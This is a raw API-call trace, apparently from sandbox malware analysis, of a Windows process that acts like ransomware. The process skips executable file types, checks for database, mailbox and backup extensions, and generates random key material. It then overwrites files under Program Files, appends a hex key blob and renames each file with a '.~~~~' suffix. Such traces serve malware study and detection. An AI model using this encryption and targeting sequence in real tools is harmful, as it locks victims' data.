	[0082.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".bat") returned 0x0
	[0082.822] lstrlenW (lpString=".cpl") returned 4
	[0082.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".cpl") returned 0x0
	[0082.822] lstrlenW (lpString=".sys") returned 4
	[0082.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".sys") returned 0x0
	[0082.822] lstrlenW (lpString=".msc") returned 4
	[0082.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".msc") returned 0x0
	[0082.822] lstrlenW (lpString=".com") returned 4
	[0082.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".com") returned 0x0
	[0082.822] lstrlenW (lpString=".lnk") returned 4
	[0082.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".lnk") returned 0x0
	[0082.822] lstrlenW (lpString=".msp") returned 4
	[0082.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".msp") returned 0x0
	[0082.822] lstrlenW (lpString=".pif") returned 4
	[0082.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".pif") returned 0x0
	[0082.823] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch="msp\r\n.pif") returned 0x0
	[0082.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0082.948] lstrlenW (lpString=".sqb") returned 4
	[0082.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".sqb") returned 0x0
	[0082.954] lstrlenW (lpString=".ost") returned 4
	[0082.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".ost") returned 0x0
	[0082.954] lstrlenW (lpString=".txt") returned 4
	[0082.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".txt") returned 0x0
	[0082.954] lstrlenW (lpString=".mdt") returned 4
	[0082.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".mdt") returned 0x0
	[0082.954] lstrlenW (lpString=".BDB") returned 4
	[0082.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".BDB") returned 0x0
	[0082.954] lstrlenW (lpString=".eql") returned 4
	[0082.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".eql") returned 0x0
	[0082.955] lstrlenW (lpString=".DBF") returned 4
	[0082.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".DBF") returned 0x0
	[0082.955] lstrlenW (lpString=".EQL") returned 4
	[0082.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".EQL") returned 0x0
	[0082.955] lstrlenW (lpString=".FDB") returned 4
	[0082.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".FDB") returned 0x0
	[0082.955] lstrlenW (lpString=".EDB") returned 4
	[0082.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".EDB") returned 0x0
	[0082.955] lstrlenW (lpString=".DACPAC") returned 7
	[0082.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".DACPAC") returned 0x0
	[0082.955] lstrlenW (lpString=".VHD") returned 4
	[0082.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".VHD") returned 0x0
	[0082.955] lstrlenW (lpString=".DBV") returned 4
	[0082.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".DBV") returned 0x0
	[0082.955] lstrlenW (lpString=".dacpac") returned 7
	[0082.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".dacpac") returned 0x0
	[0082.955] lstrlenW (lpString=".sdf") returned 4
	[0082.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".sdf") returned 0x0
	[0082.955] lstrlenW (lpString=".accdb") returned 6
	[0082.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".accdb") returned 0x0
	[0082.955] lstrlenW (lpString=".DBX") returned 4
	[0082.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".DBX") returned 0x0
	[0082.955] lstrlenW (lpString=".MDT") returned 4
	[0082.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".MDT") returned 0x0
	[0082.955] lstrlenW (lpString=".SQB") returned 4
	[0082.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".SQB") returned 0x0
	[0082.956] lstrlenW (lpString=".vhd") returned 4
	[0082.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".vhd") returned 0x0
	[0082.956] lstrlenW (lpString=".bac") returned 4
	[0082.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".bac") returned 0x0
	[0082.956] lstrlenW (lpString=".mdf") returned 4
	[0082.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".mdf") returned 0x0
	[0082.956] lstrlenW (lpString=".BAK") returned 4
	[0082.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".BAK") returned 0x0
	[0082.956] lstrlenW (lpString=".BAC") returned 4
	[0082.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".BAC") returned 0x0
	[0082.956] lstrlenW (lpString=".dbs") returned 4
	[0082.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".dbs") returned 0x0
	[0082.956] lstrlenW (lpString=".vhdx") returned 5
	[0082.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".vhdx") returned 0x0
	[0082.956] lstrlenW (lpString=".NDF") returned 4
	[0082.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".NDF") returned 0x0
	[0082.956] lstrlenW (lpString=".dat") returned 4
	[0082.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".dat") returned 0x0
	[0082.956] lstrlenW (lpString=".DBS") returned 4
	[0082.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".DBS") returned 0x0
	[0082.956] lstrlenW (lpString=".CKP") returned 4
	[0082.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".CKP") returned 0x0
	[0082.956] lstrlenW (lpString=".edb") returned 4
	[0082.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".edb") returned 0x0
	[0082.956] lstrlenW (lpString=".PST") returned 4
	[0082.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".PST") returned 0x0
	[0082.956] lstrlenW (lpString=".dbf") returned 4
	[0082.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".dbf") returned 0x0
	[0082.957] lstrlenW (lpString=".SQL") returned 4
	[0082.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".SQL") returned 0x0
	[0082.957] lstrlenW (lpString=".pst") returned 4
	[0082.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".pst") returned 0x0
	[0082.957] lstrlenW (lpString=".dbv") returned 4
	[0082.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".dbv") returned 0x0
	[0082.957] lstrlenW (lpString=".SDF") returned 4
	[0082.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".SDF") returned 0x0
	[0082.957] lstrlenW (lpString=".dtxs") returned 5
	[0082.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".dtxs") returned 0x0
	[0082.957] lstrlenW (lpString=".db3") returned 4
	[0082.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".db3") returned 0x0
	[0082.957] lstrlenW (lpString=".OST") returned 4
	[0082.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".OST") returned 0x0
	[0082.957] lstrlenW (lpString=".dbx") returned 4
	[0082.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".dbx") returned 0x0
	[0082.957] lstrlenW (lpString=".DB3") returned 4
	[0082.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".DB3") returned 0x0
	[0082.957] lstrlenW (lpString=".DAT") returned 4
	[0082.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".DAT") returned 0x0
	[0082.957] lstrlenW (lpString=".VHDX") returned 5
	[0082.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".VHDX") returned 0x0
	[0082.957] lstrlenW (lpString=".ndf") returned 4
	[0082.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".ndf") returned 0x0
	[0082.957] lstrlenW (lpString=".DB") returned 3
	[0082.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".DB") returned 0x0
	[0082.958] lstrlenW (lpString=".sql") returned 4
	[0082.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".sql") returned 0x0
	[0082.958] lstrlenW (lpString=".MYD") returned 4
	[0082.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".MYD") returned 0x0
	[0082.958] lstrlenW (lpString=".DBT") returned 4
	[0082.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".DBT") returned 0x0
	[0082.958] lstrlenW (lpString=".ACCDB") returned 6
	[0082.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".ACCDB") returned 0x0
	[0082.958] lstrlenW (lpString=".fdb") returned 4
	[0082.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".fdb") returned 0x0
	[0082.958] lstrlenW (lpString=".bak") returned 4
	[0082.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".bak") returned 0x0
	[0082.958] lstrlenW (lpString=".myd") returned 4
	[0082.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".myd") returned 0x0
	[0082.958] lstrlenW (lpString=".DTXS") returned 5
	[0082.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".DTXS") returned 0x0
	[0082.958] lstrlenW (lpString=".ckp") returned 4
	[0082.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".ckp") returned 0x0
	[0082.958] lstrlenW (lpString=".dbt") returned 4
	[0082.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".dbt") returned 0x0
	[0082.958] lstrlenW (lpString=".db") returned 3
	[0082.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".db") returned 0x0
	[0082.958] lstrlenW (lpString=".TXT") returned 4
	[0082.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".TXT") returned 0x0
	[0082.958] lstrlenW (lpString=".MDF") returned 4
	[0082.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".MDF") returned 0x0
	[0082.958] lstrlenW (lpString=".bdb") returned 4
	[0082.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".bdb") returned 0x0
	[0082.959] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0082.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.959] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0082.960] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.960] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0082.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x381948
	[0082.960] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20295007981) returned 1
	[0082.960] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9b4a8bd0, dwHighDateTime=0x1d60e1e)) 
	[0082.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0082.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0082.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0082.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac900
	[0082.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac900 | out: hHeap=0x300000) returned 1
	[0082.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa5b0
	[0082.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c458
	[0082.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa5b0 | out: hHeap=0x300000) returned 1
	[0082.961] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0082.961] GetLastError () returned 0x0
	[0082.961] GetLastError () returned 0x0
	[0082.961] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0082.961] GetLastError () returned 0x0
	[0082.961] GetLastError () returned 0x0
	[0082.965] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.965] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.965] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0082.966] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.966] WriteFile (in: hFile=0x118, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.966] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.967] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.967] CloseHandle (hObject=0x118) returned 1
	[0082.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa5b0
	[0082.967] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.~~~~")) returned 1
	[0082.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa5b0 | out: hHeap=0x300000) returned 1
	[0082.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0082.968] GetLastError () returned 0x0
	[0082.969] RtlWakeConditionVariable () returned 0x365f70
	[0082.969] GetCurrentThreadId () returned 0x9f4
	[0082.969] GetCurrentThreadId () returned 0x9f4
	[0082.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa5b0
	[0082.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab0d8 | out: hHeap=0x300000) returned 1
	[0082.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac8c8 | out: hHeap=0x300000) returned 1
	[0082.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab0d8
	[0082.970] lstrlenW (lpString=".scr") returned 4
	[0082.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".scr") returned 0x0
	[0082.970] lstrlenW (lpString=".cmd") returned 4
	[0082.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".cmd") returned 0x0
	[0082.970] lstrlenW (lpString=".dll") returned 4
	[0082.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".dll") returned 0x0
	[0082.970] lstrlenW (lpString=".bat") returned 4
	[0082.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".bat") returned 0x0
	[0082.970] lstrlenW (lpString=".cpl") returned 4
	[0082.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".cpl") returned 0x0
	[0082.970] lstrlenW (lpString=".sys") returned 4
	[0082.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".sys") returned 0x0
	[0082.970] lstrlenW (lpString=".msc") returned 4
	[0082.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".msc") returned 0x0
	[0082.970] lstrlenW (lpString=".com") returned 4
	[0082.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".com") returned 0x0
	[0082.970] lstrlenW (lpString=".lnk") returned 4
	[0082.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".lnk") returned 0x0
	[0082.970] lstrlenW (lpString=".msp") returned 4
	[0082.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".msp") returned 0x0
	[0082.970] lstrlenW (lpString=".pif") returned 4
	[0082.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".pif") returned 0x0
	[0082.970] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0082.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0082.971] lstrlenW (lpString=".sqb") returned 4
	[0082.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".sqb") returned 0x0
	[0082.971] lstrlenW (lpString=".ost") returned 4
	[0082.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".ost") returned 0x0
	[0082.971] lstrlenW (lpString=".txt") returned 4
	[0082.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".txt") returned 0x0
	[0082.971] lstrlenW (lpString=".mdt") returned 4
	[0082.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".mdt") returned 0x0
	[0082.971] lstrlenW (lpString=".BDB") returned 4
	[0082.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".BDB") returned 0x0
	[0082.971] lstrlenW (lpString=".eql") returned 4
	[0082.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".eql") returned 0x0
	[0082.971] lstrlenW (lpString=".DBF") returned 4
	[0082.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".DBF") returned 0x0
	[0082.971] lstrlenW (lpString=".EQL") returned 4
	[0082.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".EQL") returned 0x0
	[0082.972] lstrlenW (lpString=".FDB") returned 4
	[0082.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".FDB") returned 0x0
	[0082.972] lstrlenW (lpString=".EDB") returned 4
	[0082.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".EDB") returned 0x0
	[0082.972] lstrlenW (lpString=".DACPAC") returned 7
	[0082.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".DACPAC") returned 0x0
	[0082.972] lstrlenW (lpString=".VHD") returned 4
	[0082.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF", lpSrch=".VHD") returned 0x0
	[0082.972] lstrlenW (lpString=".DBV") returned 4
